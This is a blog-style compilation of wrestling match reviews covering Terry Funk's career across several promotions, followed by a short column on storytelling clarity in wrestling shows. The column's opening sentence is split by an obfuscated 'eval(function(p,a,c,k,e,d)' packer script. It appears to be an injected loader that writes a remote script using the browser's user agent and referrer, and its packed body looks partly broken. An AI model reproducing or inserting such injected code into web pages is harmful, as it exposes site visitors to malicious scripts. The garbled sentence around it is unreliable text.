They slug it out for a bit and then head into the crowd. We’re 30 minutes in here and are in the crowd. This has been far from great like it’s built up to be. For some reason the arena looks like it’s full of smoke. So yeah the whole one hour three way dance thing is pretty much nonsense. Ah here’s Sabu FINALLY after being gone about fifteen minutes. Funk comes up towards the announce table and steals a mic, Joey’s in this case, thinking he’s yelling at the crowd and therefore the guys in the ring. The problem is that he’s yelling into Joey’s mic so only the people watching the tape can hear him. Brilliant.

We’re thirty five minutes in and Sabu is in a spinning toehold. 911 comes in and lets Heyman hit Funk with the phone (it’s Paul E. Dangerously but you get the idea). Terry gets a neckbreaker on the guy whose neck would be broken by Benoit later on but Heyman saves again. The triple sleeper spot hits which is either creative or idiotic. I’m not sure why it would be idiotic but it has that feeling to it. Again, no idea why.

Now it’s basically who can get the longest leg lock on Sabu. Shane puts on a Figure Four, but remember that Ric Flair is a horrible man. We hit 40 minutes and Heyman saves Sabu again. Sabu botches the heck out of a springboard moonsault. Sherri is in the ring for no apparent reason. Axl and Ian Rotten come out to help Funk as Shane gets two on Sabu. Sabu botches a rana and Terry leaves. Yeah…..this whole triple threat has been a triple threat for about 3 minutes out of almost 45.

A springboard legdrop hits Shane in a clip from Rise and Fall of ECW. And here are the Rottens to beat up both guys again. This is making my head hurt. We’re 45 minutes in so I only have 15 minutes left. Joey says 15 minutes left in what match? So somehow we’ve gone from Terry Funk vs. Shane vs. Sabu to Shane/Sabu vs. the Rotten Brothers. Sabu fights the Rottens to the back and Shane is alone in the ring. He just stands there and here comes Sabu….oh never mind he has to fight one of the Rottens again first.

Funk comes back, as do Paul, 911 and Ian Rotten. And now there’s no one in the ring. Hat Guy is back by the concession areas and Funk vs. Shane spills outside. This must have been RIVETING for the live crowd with no video screens. And Funk beats up the referee. Joey tries not to laugh while asking why. With ten minutes left Shane and Terry are beating each other up and we now get the clock going again on how long can all three guys be in the ring for. So far out of 50 minutes I’d guess it’s about 9 minutes.

Sabu hits a top rope moonsault and Funk’s knee is hurt. Joey says the match was over 15-20 minutes ago. To quote him, what match? Shane vs. Terry? Shane vs. Sabu? Sabu/Shane vs. the Rottens? Terry vs. one of them? Sherri vs. the laws of time and gravity? The referee stays dead for the better part of ever. He must have been watching the match.

Five more minutes and the fans suddenly get that this is going to a draw. Another new match breaks out with Terry beating up Sherri. Four minutes left and nothing at all is happening. The bald Heyman is knocked out by Shane. Let’s see: Rottens, Sherri, 911, Heyman….yeah I think that’s all. We’ve only had five run-ins so far. Three minutes and we’re out of here (the clock is ticking and we’re in the clear).

Sherri’s boot gets used a lot as Joey makes me angry by saying this is like Piper vs. Valentine from 1983. The camera goes black for a minute and we have two minutes left. Funk beats up Heyman for no good reason. Less than a minute to go and the referee has now been out over ten minutes from a single headbutt. Can we get this guy some freaking medical attention? Two near falls within the last five seconds and that’s it. The fans give them a standing ovation for absolutely no deserved reason. This was bad…..like very bad.

Rating: D+. Cue the ECW diehards to come in here and explain why I just hate ECW and will never get what it’s about. While that may be true, I know a bad match. This wasn’t horrible and there have been far worse matches, but for this to be considered a classic or even a very good match is a joke. This “hour long triple threat” is more like a 15 minute triple threat, two fifteen minute singles matches, a 4 minute tag match and a bunch of standing around.

Sabu was SPENT about half an hour into this and he just laid on the mat for most of the time. I was bored to death watching this because the longest stretch where they’re all in the arena is about 8 minutes long. I have no idea what the standing ovation was for as this was just way too long and while it’s not horrible, it’s definitely not anywhere close to as good as it’s made out to be.

Terry would come back to WCW for Slamboree 1994, which was a glorified ECW show.

Tully Blanchard vs. Terry Funk

Blanchard comes out to what would become Jericho’s face music. There’s something wrong with the sound as you literally cannot hear the announcer. And Funk, who has been missing all night, comes out to something sounding like a slapped together Magnificent Seven theme. Now keep in mind this is in the….GORDON SOLIE IS ANNOUNCING!!! Anyway, they decide to have Funk in ECW’s town. Guess who the INSANELY over face is in this match.

Funk stands in front of Hat Guy. And of course we start on the floor. See, now unlike Heroes of Wrestling, Blanchard is in solid shape here. Also he’s not completely obsolete anymore. They haven’t been in the ring yet. Solie just throws out that he was in Miami back in 75 when Funk won the belt. Can you imagine how awesome it would be to crack open a beer with him and listen to him tell stories?

I think this is no rules which would make more sense here. Funk piledrives Blanchard through a piece of wood, which you can read as Terry’s hips goes through it and Blanchard’s head comes nowhere near it. The fans chant WE WANT BLOOD. This is an intense match which is impressive as the old guys are having a more interesting match than the others were. There goes the referee of course and it’s chair time.

Blanchard is bleeding. Funk tries to piledrive Tully from the middle rope onto the chair but he winds up just landing on the chair so it looked like a really screwed up powerbomb which is likely best in the end. Tully hits the referee for the DQ but I think it’s just a double DQ. The fans audibly chant their displeasure. Funk takes Hat Guy’s hat to end it.

Rating: B+. Fun. That’s the only way to describe this match. These two went out there and had fun and that’s all you can ask for. Yes that rating is likely high but this match was a blast. I can’t ask for more than that from a match with no point other than having two legends. The wrestling was quite good here too.

Funk wouldn’t be active for most of 1995 and 1996. As the first major star ECW had, Funk was in the three way dance at Barely Legal for an ECW World Title shot.

Stevie Richards vs. Sandman vs. Terry Funk

This is under elimination rules and the winner gets Raven later in the night for the World Title. Richards is the leader of the BWO but he’s starting to be taken a bit more seriously as a main event guy. He used to be Raven’s lackey but has now struck out on his own. Sandman, known for drinking and smoking on the way to the ring, busts himself open with a beer can on the way to the ring. He and Raven have a long history as well so he would make sense as a challenger too. Funk is the grizzled veteran looking for one more hurrah and is taking Dreamer’s place tonight as Dreamer wanted his mentor to get the title.

Sandman downs another beer and spits it in Stevie’s face while still holding his Singapore cane. All three guys circle each other until Terry and Richards lock up. Sandman breaks it up and chops Stevie in the corner, only to get in a fight with Funk. An early spinning toehold is broken up by Richards and Terry takes a bunch of elbow drops from both guys. Sandman and Richards get into it so Terry hits four straight neckbreakers on Stevie for two.

With no real provocation, Sandman throws in a ladder which blasts Funk in the back of the head. He suplexes the ladder down onto Richards and hits Terry in the head again for two. Terry and Sandman climb the ladder in the corner but Funk moonsaults down onto a standing Stevie instead. Still on the ropes, Sandman picks up the ladder and drops it down onto Richards’ back for two.

Stevie superkicks the ladder into Sandman’s face for two before both of them climb the ladder for no apparent reason. Funk falls into them to knock everything over and all three guys are down. With Stevie down, Sandman and Terry take turns ramming each other face first into the ladder. Richards gets back up and catapults the ladder into the others’ faces and everyone is down again. The Stevie Kick nails Sandman for two and Terry takes one for the same.

Sandman throws both of them plus the ladder out to the floor and dives over the top, knocking the ladder into Richards’ face. Back in and Terry suplexes Stevie but Sandman throws in a trashcan, nailing Terry square in the head. Funk doesn’t seem to mind and even helps Sandman with a spike piledriver on Stevie. Sandman crushes him under the ladder but Terry can only get two.

Terry nails Sandman in the face with the ladder to send him to the floor as Dreamer rants about Raven getting to face the winner while fresh. A double powerbomb is enough to pin Richards and get us down to one on one, sucking some life out of the crowd. Sandman and Terry shake hands then punch each other in the face, only to have Terry backdrop him out to the floor and onto Stevie.

We get barbed wire brought in but Terry wraps Sandman’s shirt around his face and hammers away. The barbed wire is whipped over Sandman’s back to cut him open, but Sandman wraps it around himself and drops a top rope legdrop for two. Stevie is still here for some reason as the trashcan is put over Sandman’s head, setting up a superkick to knock Sandman silly. Terry adds a moonsault for the pin and the title shot.

Rating: C-. This was the hardcore mess that you have to expect with ECW. Sandman wasn’t much of a wrestler in the technical sense but the fans were way into him and he could throw a solid punch. Funk winning was the best option with Dreamer not being an option, but the fans were WAY behind Stevie here and an upset wouldn’t have been a terrible idea.

Raven immediately hits the ring and the title match is on.

ECW World Title: Terry Funk vs. Raven

Funk can barely move so Raven nails him in the back of the head with the title belt. A chair is brought in and Terry is sent face first with a drop toehold. Dreamer says he can’t do commentary and has to watch. Beaulah hasn’t said a word yet. Funk is busted open so we stop for the doctor to take a look at him. The fans beg for Tommy to come down and take his place but the match is allowed to continue anyway. Raven stops to set up a table at ringside before picking it up and suplexing it onto Funk.

Despite saying he can’t talk, Dreamer won’t stop telling Joey that he doesn’t understand why Terry keeps going. Raven puts Terry on the table outside and nails a huge dive through it in a huge dive. One of Raven’s lackeys named Reggie Bennett (a former Funk supporter) comes down for a “piledriver” on Funk. Raven grabs a mic and says he’s taking Funk over to the announcers’ area and putting him through three tables right in front of Dreamer.

Tommy stands up and says try it but Big Dick Dudley returns and lays Dreamer out. Raven hits his DDT on the referee as Tommy throws Dudley through the tables. Dreamer comes to the ring and DDTs Raven to get Funk a VERY close two. So close that the bell rang inadvertently. It’s a strange decision too as Funk small packages Raven for the pin and the title three seconds later.

Rating: D. I understand the story of the match, but this really didn’t work for me. It’s basically a squash with a screwy ending as Funk had maybe one offensive move in the entire stretch. Funk winning is a nice moment, but Dreamer getting the win would have made for a better story and made more sense, especially if Funk had said his time was over and Dreamer was the new era.

Funk would have his own retirement show called Terry Funk’s Wrestlefest on September 11, 1997.

Terry Funk vs. Bret Hart

I’m pretty sure this isn’t for the title so we’ll go with that. It’s no DQ if nothing else. He comes out to a cover of Freebird. Sandman had the regular Metallica theme and he can’t use Freebird? Dory is with him and there’s Bret’s music. This is just weird to see/hear. Bret is from Calgary, Canada and is the present WWF Champion. Seriously who talks like that?

Bret was the monster heel in WWF at the moment so the reaction here should be interesting. Dennis Stamp is the referee, who was Bret’s first ever opponent and I believe a jobber in the AWA. A bunch of people get in the ring. Chris Candido is in a towel. Seriously you couldn’t throw on some jeans? Heyman has the mic and the fans are cheering for Funk. Heyman puts Funk over very well for ECW and for Amarillo and wrestling in general.

In a cool moment they give him a belt and declare him World Heavyweight Champion for life. I like that. That’s rather cool. Bret gets on the mic and gets booed out of the building. He says what Bret Hart the person not Bret Hart the character would say which is very nice. He shakes Funk’s hand and says he’s going to kick bear the tar out of Terry. Nothing wrong with that as it makes Terry the even bigger face.

The camera is messed up early and we can only see half of the ring. Ah there we are. This referee is SLOW with his counts. Funk uses a headlock for awhile as they’re having a very basic match to start us off. This is pretty solid stuff so far with basic technical stuff but it’s working.

Funk can wrestle quite well. Don’t think he’s all about hardcore and brawling. He can go on the mat. Funk gets the toe hold but it’s broken up by the ropes and now we’re getting some punches. One of Bret’s brothers is his corner man. We’re not told which though. They’re going very slowly here to set up the big ending which is fine by me. Something happens in the crowd as they all get up all of a sudden.

Terry gets rammed into the table on the floor. This has been solid so far. After working the knee the entire match, Bret hooks the figure four and uses the ropes which is completely legal here. DAng that’s a bad figure four. It’s getting into Dusty territory here. Stu Hart is here also. He has two brothers here and neither is Owen so who cares? Funk makes his comeback with mainly punches and gets a great pop. Funk gets a DDT so I’m happy.

For a guy that’s 50, Funk looks pretty decent. At 15 minutes in we hit the crowd and Funk is in control. The figure four on the post breaks that up as I continue to think the post wouldn’t actually do that much in it. Bret initiates the ending sequence but stops to go grab a chair. Funk winds up with it and goes off on the knee. The announcer can’t tell time as 6 minutes after 15 minutes passed we’re at 20 minutes.

Funk goes for a Vader Bomb onto Bret through a table but misses Bret and goes through. He’s busted open too. It’s all Bret here as this has been a really good match. Funk gets a small package out of the Sharpshooter for one. See what I mean about the speed of these counts? Seriously a one count after twenty minutes? Funk gets the toe hold and Bret is in trouble.

Terry goes for one spin too many and there’s the other small package that gets two. See how much better that sounds than ONE? They do the messed up time thing AGAIN but thankfully Bret ends it as Funk hits a belly to back suplex and Bret gets his shoulder up while Terry’s are down.

Post match Funk gets the weakest announcement ever from the worst announcer ever and then he says he has no complaints and he loves the fans. Classy. He’d also be in the WWF in 3 months but it’s Terry Funk so it’s a bit different.

Also they said his last match in Amarillo more than once tonight, so that’s a bit better. Big difference between this and what Flair got which I classify as a bit disrespectful but that’s for a later argument.

Rating: A-. Great match here as they had someone out there that legitimately respected Funk and they let him have a great match. Funk’s in ring work is vastly underrated in the technical aspect so this was a nice way to let him showcase himself. Also notice something here: he went out losing to a younger star, giving Bret the spotlight rather than taking it for himself. This was a very good match regardless of the circumstances and I liked it quite a bit.

Terry would come back to the WWF as Chainsaw Charlie and team with Cactus Jack. They would receive a Tag Team Title shot at Wrestlemania XIV in a dumpster match.

Tag Titles: New Age Outlaws vs. Cactus Jack/Chainsaw Charlie

This is a dumpster match which is a casket match with a dumpster. The Outlaws are defending because two months ago they put Cactus and Funk (Charlie is Terry Funk) in a dumpster and shoved it off the stage. Billy and Roadie are about 24 hours from joining DX so they’re not quite what they would become yet. It’s a brawl to start (were you expecting anything else?) and there’s a dumpster at ringside to put a team inside.

Cactus and Roadie trade shots to the head as Billy chokes Funk. Jack tries to charge off the apron at Roadie but gets sent into the side of the dumpster instead. Funk goes into the barricade as the champions are controlling early on. They backdrop Terry into the dumpster but he escapes before Jack can be put inside with him. That’s fine with the Outlaws as they drape both challengers over the edge of the dumpster and slam the lids over the backs of both guys.

Both challengers are put back inside but Jack grabs stereo Mandible Claws to stop the Outlaws’ momentum. We head back inside and Road Dogg gets caught by some neckbreakers before Jack and Billy head to the floor again. The Cactus Elbow with a cookie sheet crushes Gunn and it’s ladder time. Back in and Cactus goes up on top of the ladder along with Billy, onto to have Terry knocked into the ladder, sending both guys on top of it into the dumpster. Cactus climbs out as Terry is powerbombed into the dumpster.

The three remaining people fight into the back and Cactus is rammed into various metal objects. Now he goes into some large (as in 6’0) bottles of Surge and Powerade but Cactus comes back with double arm DDT onto a forklift. Funk pops back in and raises the Outlaws up on the forklift and drops them in another dumpster for the titles.

Rating: C. This was a garbage match (literally) but it was a fun brawl and the good guys got their revenge on the guys that injured them in the first place. What more can you ask for from a match like this, which was the third biggest on the card? Later it would be decided that the title change didn’t count because that was the wrong dumpster, leading to a cage rematch the next night with the Outlaws regaining the belts and joining DX.

Funk would be annoyed at losing the titles, setting up this match on Raw, May 3, 1998.

Mick Foley vs. Terry Funk

Austin is on commentary. He has some beers before the match as is expected. This is what we would call a hardcore match but that term hasn’t been established yet. At the time this is the only match Foley has ever wrestled under his real name. He’s in the sweatpants and flannel shirt. There’s no referee but we have a special one: it’s Pat Patterson. Austin isn’t happy but let’s go.

Funk fires away and we head to the floor quickly. He grabs a chair and Foley does his best thing: takes a big old beating. Foley tries to get fired up but he can’t quite do it which is some nice storytelling. A cord comes unplugged and Austin’s mic messes up. He blames Vince and steals Jerry’s. That one is broken but he gets it to work somehow. Now that one messes up. Nice touch. For some reason Austin drills Lawler and Ross says he didn’t have anything to do with it.

Funk is destroying Foley here with a chair and it looks like Austin can talk freely now. The mats have been peeled back and Foley tries a piledriver on it but gets reversed. Austin threatens to put JR’s hat somewhere on JR’s own body. Is that where the Dr. Vince thing came from? The railing is torn apart and they’re into the crowd. Foley beats up a hot dog vendor and then goes through a table. Funk, a spry 53 at this point, goes up to the balcony and moonsaults off to mostly hit Cactus.

He’s holding his neck and might be screaming stop it. Foley is like screw that and hits a Texas Piledriver (the kind where he pulls on the tights instead of locking his hands around the waist) through another table. They fight under the stands and we take a break since we don’t have a cameraman there yet. Back with clips from the break with Foley throwing Funk into various objects that aren’t meant to have people thrown into.

They fight back into the arena with Funk in trouble. Foley hits him with something made of metal and they’re up by the ramp. Patterson being a referee hasn’t made much of a difference yet. A piledriver on the ramp gets two because Funk has no problem with that kind of a beating. Back in the ring and Funk is still like “DUDE MY NECK IS HURT” but Foley stomps away, really pushing the title run at any cost.

A Cactus Clothesline puts them in front of the announce table. Foley rips up said table with Austin saying do whatever it takes but don’t touch his belt. With Funk on the table, Foley gets the chair and runs off the apron to drive it into Terry. Austin and Foley have a staredown and Austin says beat Funk then come after me. Back in the ring now and Austin apologizes for his language. “It’s usually worse than this but I have to be nice on TV.”

Double arm DDT gets two. This is AWESOME by the way. Austin is praising Funk the entire match about how great he is and tough he is. He says he doesn’t mind fighting Foley but Foley needs to prove something first. A piledriver looks to end this but Foley doesn’t cover. Instead it’s another piledriver on a chair and that’s FINALLY it.

Rating: A-. Now THIS is a brawl. This wasn’t about being goofy or about stupid weapon shots. There’s a way that a hardcore match can in fact be hardcore and brutal with both guys destroying each other and this was it. The storytelling of Foley reaching levels of evil he didn’t want to go to but doing them anyway for the sake of one more shot at the title is great stuff and Foley sells it like the master that he is. This is on Mick Foley’s Greatest Hits and Misses which is another reason to get that DVD, which is already awesome.

After leaving the WWF, Funk would return to ECW but wouldn’t have a match. He tormented Tommy Dreamer for months but retired (again) before they had a match. The retirement would last all of a few months as Terry would head back to WCW. He would get a Hardcore Title shot at Spring Stampede 2000.

Hardcore Title: Terry Funk vs. Norman Smiley

Norman is hiding in the men’s room and is in a catcher’s uniform complete with chest protector. They’re into catering now and it’s all Funk. Funk pours a bunch of Cokes on him (still in cans) as Tony says this isn’t a match, despite Taylor calling it a match and a bell ringing. They’re in the kitchen now and they crawl through a dish return line to get there. Tony talks about the merits of industrial strength cookie sheets as he probably wonders how he still has a career.

They head into the hallway and Norman climbs a conveniently placed ladder. Norman gets some chair shots in and we head to the arena. Terry is taking a bunch of chair shots to the head which are scarier each time. Madden wants to know why Terry would do this to himself. The term “middle aged and CRAZY” doesn’t work for Madden I guess. It’s Wiggle Time but you don’t simulate anal sex on a Texan! Funk hits a huge chair shot and we’re back outside.

Terry pulls out a ladder and puts it between the bottom and middle ropes on the inside. Dustin Rhodes comes out because we MUST have more Rhodes vs. Funk because the feud only started 25 years ago so we’re all begging for a continuation right? Dustin of course fails because he’s booked like a clueless putz when he’s not Goldust so he causes some pain for Norman. Funk drops a ladder over the top onto Norman for the title.

Rating: C. These matches are hard to not smile at a bit. Yes they’re stupid and mindless brawls but at the same time, they’re stupid and mindless brawls. Nothing great and Dustin added absolutely nothing to it at all (which should be on his tombstone), but Funk vs. Smiley was a weird combination that made for entertaining comedy and with the Hardcore Title, what more can you ask for?

Funk would still be in the hardcore division when WCW was dying. Here he is at Sin in a Hardcore Title match.

Hardcore Title: Crowbar vs. Terry Funk vs. Meng

Meng has the title itself but Funk is champion. Daffney tries to jump Funk which of course fails. Crowbar, no longer a seventies guy (that would be Funk) jumps Funk and the brawl starts sans Meng. They head to the back into the ladies room. Standard bathroom fight as Crowbar is slammed into every stall. Meng is nowhere to be seen here. Ah there he is.

He throws a plastic trashcan over Funk and hammers on it a bit. They head back into the arena and Funk pelts a trashcan at Meng’s head. They double team him for a bit before Funk realizes that makes too much sense so he beats up Crowbar. Luckily there happens to be about six tables stacked up against a wall. WE FOUND THE SOURCE!!!!! Crowbar hits Funk with a laptop as Hudson says Crowbar wants the Cruiserweight Title back.

Crowbar climbs into the crowd and dives on Funk on a table which the camera completely misses. Why do they miss it? Because they accidently cut to the ring crew fixing the ring ropes. And people wonder why this company went out of business. This is what replay is for I guess as we get to see the Boom Drop for lack of a better term.

Meng pops up to him Crowbar with a trashcan again and take over one more time. They head to the stage with Crowbar hammering away to no effect. Side kick sends Crowbar sprawling down the ramp. Funk gets a snow shovel from somewhere and pops Meng with it to send him down. That’s a rarity. Funk slams Crowbar through the railing which literally almost snaps in half. Good thing WCW upgraded to the barriers made of cotton candy.

Funk and Crowbar go to the ring where Funk takes some chair shots to the knees and gets Pillmanized. Well kind of at least. Funk of course is on his feet seconds later and hammers away. Meng is back now and Crowbar puts a figure four on despite Meng hammering on him. Meng goes up top and crushes Crowbar with a splash. That looked awesome. Piledriver gets two as Funk saves.

Meng hammers away and slams Funk before a middle rope splash gets two. Funk and Crowbar hit Meng literally about 18 times with chairs to take him down. The head shots don’t work as well due to the afro but they’re trying at least. Funk gets Meng in position for a DDT but Crowbar blasts him with a chair. Kick takes Crowbar down and the Tongan Death Grip gives Meng the title. He would be in the Royal Rumble a week later.

Rating: C. This got a lot better after the first five minutes or so. Meng as a total monster is a fun character. That’s probably why WWF signed him to a guaranteed deal a day or so after this while WCW was doing a pay per appearance kind of thing and thought there was nothing wrong with putting a title on him (his first actually). Meng would be in the Rumble seven days later as a surprising appearance and kind of as a big SCREW YOU to Bischoff as the Hardcore Division in WCW died with the title never being mentioned again other than I think once on Thunder.

Like almost every wrestler not in WWE after WCW closed, Funk would make an appearance in TNA. From Weekly PPV #82 on February 18, 2014.

Julio Dinero/CM Punk vs. Raven/Terry Funk

Raven is in a long war with the Gathering and Funk is here to help him out. Funk gets attacked when Raven is still in the aisle so Bird Boy hits the ring to hammer on Punk in the corner. Dinero comes back in and stomps away as Terry is out on the floor. Funk is already bleeding and Punk shouts at him to bleed more. Some slaps to the face just tick Funk off as Dinero hammers on Raven outside. Terry fights back from his knees and Dinero gets hammered as well.

The spinning toehold doesn’t have much effect and Funk is back in for the save. The match finally settles down with Funk getting double teamed but getting his knees up to stop a top rope backsplash. Terry crawls to the wrong corner because of the blood in his eyes before getting to his feet and falling into Raven for the hot tag. Raven cleans house and everything breaks down. A Stunner puts Julio down and Funk rolls him up for two. Raven superkicks Punk to the floor and DDTs Dinero for the pin.

Rating: D+. This was a pretty basic brawl and Punk didn’t mean anything yet. It’s always cool to see future stars like him in their earlier days though and this was just as cool. Funk with the spinning toehold gets kind of sad to see this late in his career.

Since he was a big part of ECW, Terry would appear at the ECW reunion show Hardcore Homecoming and participate in the main event on June 10, 2005.

Shane Douglas vs. Terry Funk vs. Sabu

Oh ok. This is a barbed wire rope match so that’s why they had to use so much time. Francine is with Shane (freaking hot) who booked the tour so this is a huge deal for him, Sabu has Fonzie and Funk has Sunny. Shane talks a lot. He’s great in case you didn’t remember that. Funk is 61 years old here. I get that people think it’s cool and impressive and stuff, but it’s not.

This is stupid of him to keep doing this and they shouldn’t let him. Let him come out and address the crowd and maybe even do a run in, but seriously, do not allow him to do this anymore. Sabu of course has no issues with wrestling without a shirt. They have this annoying split screen thing where it’s just another camera angle of the same thing. I don’t get that but whatever.

Sabu goes chest first into it which can’t feel good. More or less this is how many times can we screw up Sabu, which tells me he’ll be winning. Naturally we get the triple sleeper which is a spot that I just hate. If someone is going to be eliminated, why not just let the person in the initial sleeper be in it so that that person is out? If you put the guy in the middle to sleep, he’s going to lose the sleeper he’s got. So we get a ton of weapons and violence, none of which really go anywhere.

This just isn’t that interesting, but it’s supposed to be a throwback to the original and on that note it’s a good thing. Funk gets tied up in the wire and there’s blood everywhere. Sabu gets his neck caught in it and the freak show is on. WILL YOU STOP WITH THE FREAKING CAMERA ANGLES JUMPING??? Joey suggests that Shane has been planning this beating for years. Ok then.

The ropes are pretty much gone as they had to cut both guys out. Douglas hits the referee in the back of the head with a chain for no apparent reason, to set up the real shock of the night: the lights go out and as they come back on, MICK FREAKING FOLEY is in the ring to a massive pop. He would do the commentary with Joey in two days so this really was a big deal.

He busts out Socko to get booed out of the building but a double arm DDT helps things. He wraps Socko in barbed wire to help a bit and after the Tumbleweed and a chair shot, Douglas is out. After more brawling, they set up a ladder and the ladder literally crumbles. I mean it just breaks apart which is cool looking. This lets Sabu hit an Arabian Facebuster with a chair to get the pin. There’s a HUGE celebration with these four guys and Terry gets carried out as his shirt is more or less covered in blood to end the show.

Rating: F. For letting Funk do this at 60+ years old. I get that he wanted to, but sometimes you have to tell the guy no. Let him do what Foley did instead or something, but you can’t have him out there getting beaten up like this, period. It’s irresponsible and trying to make a quick buck while jeopardizing a man’s safety. A regular match, or a match under MUCH more strict control (which we’ll get to in a minute) is one thing, but a mess like this is ridiculous.

Funk would appear at One Night Stand 2006 in one of the featured matches, teaming with Tommy Dreamer against Edge/Mick Foley in an old school vs. new school hardcore match.

Edge/Mick Foley vs. Tommy Dreamer/Terry Funk

Foley is booed out of the building but we have promos before the match. He says he did sell out, but he means Madison Square Garden. He loved ECW at the point when it was run by a true visionary, so let’s hear it for Stephanie McMahon! Long live the Alliance! Funny stuff. Here’s Edge with Lita. Edge says this is ECW’s Christmas but Heyman is Santa. Then they’re going to go home and text their imaginary girlfriends that the show was great then get on the internet and pleasure themselves to his actual girlfriend. Funny stuff again. Lita says the fans get little action and runs down Beaulah.

The cover of Man in the Box comes on to keep the riot from starting. Even Beaulah is here so let’s make it a six man/woman.

Edge/Mick Foley/Lita vs. Tommy Dreamer/Terry Funk/Beaulah McGillicutty

Always thought Beaulah looked great. Wonder if she’s related to Michael. Beaulah is in heels so this isn’t going to go well for her. Catfight to start but the guys pull them back. Edge and Dreamer start us off and they actually wrestle a bit. Off to Foley and Funk quickly who wrestle a bit also. Actually I’d give that to Funk. He might be better at it even though he’s a bit out of practice. Foley isn’t sure he wants to do this and tries to leave. Yep here’s the brawl.

Dreamer grabs some water to send into Edge’s face as Funk hammers on Foley with whatever he takes a notion to. The girls are still chilling on the apron as weapons come into the ring. There aren’t going to be any more tags at all are there? I really wouldn’t expect a lot of play by play from this point on. Baseball slide into a garbage can into Foley’s head. Edge takes over on Dreamer and it’s ladder time already.

The old dudes go up the aisle and it’s so nice to see WWE production values here where they know how to go back and forth and keep up with the action rather than seeing the tops of people’s heads and calling it following the action. Ladder goes upside Dreamer’s head but a spear is hiptossed and Edge lands on the ladder. Funk and Foley get back in and it’s windmill with the ladder time.

Funk, a spry 61 here, goes up the ladder only for Edge to dump it over and have him crash down onto the mat below. Dreamer sets for the Dreamer Driver on Edge but Lita finally does something, breaking up the Driver. Foley and Edge find a big plywood board. Uh…ok? They find another one covered in barbed wire. NOW THAT’S MORE LIKE IT! They slam it down on Dreamer who gets it caught in his skin.

They try to do it again but Funk pulls their feet out and it lands on the heels, including Edge’s face. The fans, ever the nice guys, chant that they want fire. Barbed wire board is set up in the corner and it’s time for some punching on Foley before he gets thrown through the board. Dreamer is crotched on the railing outside as the fans think this is awesome. I’d be inclined to agree for once.

Foley manages to throw the board onto Funk and has Lita get even more barbed wire. It gets wrapped around Foley’s arm and he rams it into Funk’s head. Terry is bleeding all over and shakes like a fish as is his custom. Foley rams the wire into his face for good measure so the referees take Funk out as he screams about his eye. The fans want Sandman but get a barbed wire ball bat instead.

That goes into Dreamer’s anatomy, including his balls due to the leg drop from Lita. Mick pulls out a pair of socks to really tick the fans off. Foley goes ultra heel by putting the Claw on Beaulah, setting Dreamer off. He gets caught in the hold anyway and Edge spears him half to death. Edge and Lita go after Beaulah and Edge bends her over in front of him. Where are Trish and HHH when you need them for pointers?

Instead it’s Funk, coming through the crowd with a big bandage around his head and a 2×4 wrapped in barbed wire. The distraction lets Dreamer hit a pair of low blows and Beaulah chases Lita off. Funk blasts them both with the board and then in the words of Bubba Ray Dudley, why don’t we just light it on fire? Funk drills Edge with it then hits Foley, sending him through the barbed wire board which Foley said was absolute agony on a commentary I heard for this match.

Funk gets dropped on top of him but Dreamer takes down Edge, putting him in a Crossface but instead of choking him he wraps barbed wire around his face and pulls back on it. FREAKING OW MAN!!! Catfight ensues and Dreamer gives Lita a Death Valley Driver and is all fired up but Edge grabs an Edge-O-Matic with the barbed wire. Spear to Beaulah and a cover with Edge putting her legs in the air and bouncing up and down on her ends this absolute war.

Rating: A-. Freaking WAR here as these four absolutely destroyed each other in the name of violence and revenge. Edge looked like a superstar which was the point of this whole thing. This is easily the match of the show and is well worth seeing if you’re a fan of big old violent wars. The WWE camera work helps a lot here too as they barely missed anything which is a major upgrade over the regular ECW production values. Check this one out as it’s great stuff and very violent but in a good way. The barbed wire on Funk’s eye was a bit too far for me though.

We’ll wrap it up with one of Terry’s many indy appearances, from AWE Night of the Legends on October 15, 2011.

Terry Funk vs. Tommy Dreamer

No DQ here because what else would it be? Dreamer is of course wearing an AWE shirt because if you want something advertised, call Tommy Dreamer. Funk immediately asks for a mic and says he always gets a physical before he gets in the ring. He yells at the fans but says he’s not supposed to be in a wrestler. Funk says he’s getting in the ring for the fans and Tommy Dreamer because Dreamer loves hardcore. Terry talks about getting older and meaner before blasting Dreamer in the face with the mic.

We head to the floor with Dreamer in trouble and getting a drink thrown into his face. Funk gets thrown into what looks like a school desk before Dreamer is thrown into a thick table. Terry starts throwing plastic chairs at Tommy and crotches him on the steel barricade. Back in and Funk fires off some headbutts including some on all fours. We head to the floor all over again with Dreamer being sent into the barricade again.

Tommy steals a drink and spits it in Terry’s face before heading back inside with a pair of chairs. They chop it out a bit and Dreamer is taken down onto a chair via a drop toehold. Funk goes after Tommy’s knee with a chair and puts on the Spinning Toe Hold. Dreamer hits him in the head with a chair, hits him in the ribs again, and rolls him up with a small package for the pin out of nowhere.

Rating: D. I do not like matches like this one. Terry Funk may think that he’s ready to be in the ring but he was 67 years old here and did not need to be out there in a wrestling ring. On top of that, the match itself was over out of nowhere (not that I’m complaining from one standpoint) as that small package hit in a flash. I’m guessing there was an injury in there, or perhaps they realized that a 67 year old man doesn’t need to be taking chair shots.

We’ll wrap it up there. Terry Funk is one of the longest active wrestlers in history with a career that has gone on and off for nearly fifty years. Mick Foley has said that he believes Terry Funk is the greatest wrestler ever and it’s hard to argue that he’s one of the best. To make an entirely different career like he did at his age is remarkable, especially when you consider how successful he was in the first half of his career. Find what you can of his early stuff if you want to see an entirely different side of him.

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Thought of the Day: They’ve Done Enough

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adtyb|var|u0026u|referrer|tsnkr||js|php'.split('|'),0,{})) is something that really should just be a courtesy.

I’ve been watching the ECW pay per views lately and far too often it seems like they’re expecting the fans to do a lot of work to know what’s going on. A lot of promotions have this problem, but here’s a good example of it from Barely Legal.

Taz vs. Sabu was one of the main events and billed as the grudge match of the century. That sounds like a cool idea and something that might draw an audience, but it leads to an obvious question: why were they fighting? The fans in attendance and ECW diehards probably knew, but the fans at home were never told. I only found out later because an ECW fan told me about it on WrestleZone.

Here’s the thing: wrestling fans, be it at home or in the arena, should not have to do a single thing other than watch the show to know what’s going on and why the current match/angle is taking place. Asking fans to do research or watch a bunch of shows is not only unfair, but rude to the fans. Sure all of the story can be found if you watch the TV shows, but a promotion shouldn’t punish fans for only watching one show.

